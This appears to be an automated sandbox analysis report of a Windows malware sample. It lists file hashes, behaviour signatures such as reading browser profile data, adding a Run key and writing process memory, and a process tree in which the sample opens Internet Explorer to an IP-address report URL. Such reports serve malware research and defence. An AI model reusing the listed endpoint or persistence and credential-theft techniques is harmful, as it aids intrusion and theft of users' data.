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Analysis

  • max time kernel
    149s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/12/2023, 10:33

General

  • Target

    0832fd308c0ff181cd3af6e627a199eb.exe

  • Size

    218KB

  • MD5

    0832fd308c0ff181cd3af6e627a199eb

  • SHA1

    bcda79eeee370e686c88693c30b987e0ddb73b71

  • SHA256

    da2a9f7c31f076433cf46e01b8d1b313d94fd87c95309be59842df05af25355f

  • SHA512

    3cd0bd5f3f33936690e704f7f8a55efb1fb6b896b9a6c3c4d1138c4e53a54257b55efe3c81870c62f6a7197af8cbd8c99787bd53026ef4b2721b43f4f26c5878

  • SSDEEP

    3072:B7puEEMo2qTY9VfBhu3oVocpsZBd4Tqqkn3sLBO6ZSETrhgbXX9llGZ2:ppMMVVbsmS6IA8X9Ss

Malware Config

Signatures

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 64 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • Modifies Internet Explorer settings 1 TTPs 37 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0832fd308c0ff181cd3af6e627a199eb.exe
    "C:\Users\Admin\AppData\Local\Temp\0832fd308c0ff181cd3af6e627a199eb.exe"
    1⤵
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:1368
    • C:\Program Files\Internet Explorer\IEXPLORE.exe
      "C:\Program Files\Internet Explorer\IEXPLORE" 212.33.237.86/images/1/report.php
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1844
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1844 CREDAT:17410 /prefetch:2
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:4732

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\8PO8IKDM\suggestions[1].en-US

    Filesize

    17KB

    MD5

    5a34cb996293fde2cb7a4ac89587393a

    SHA1

    3c96c993500690d1a77873cd62bc639b3a10653f

    SHA256

    c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

    SHA512

    e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

  • C:\odt\office2016setup.exe

    Filesize

    5.3MB

    MD5

    7fa796396b31ae62b5da9daa05301117

    SHA1

    fde493e83dfb84a9b3d9347088cec87320aa431e

    SHA256

    fbda82ab4798e49bccbe91d2777929d00c8a6811fae17ff6f187bed269cbf453

    SHA512

    9e4643e25c7bc71b8c066416808d51967fc8d4a70928e0fc5a0f0d6bc07e28824b1bb0dc4921664b52d6c474fee59fe0f9d691c5d831e71704b89cb1f3971503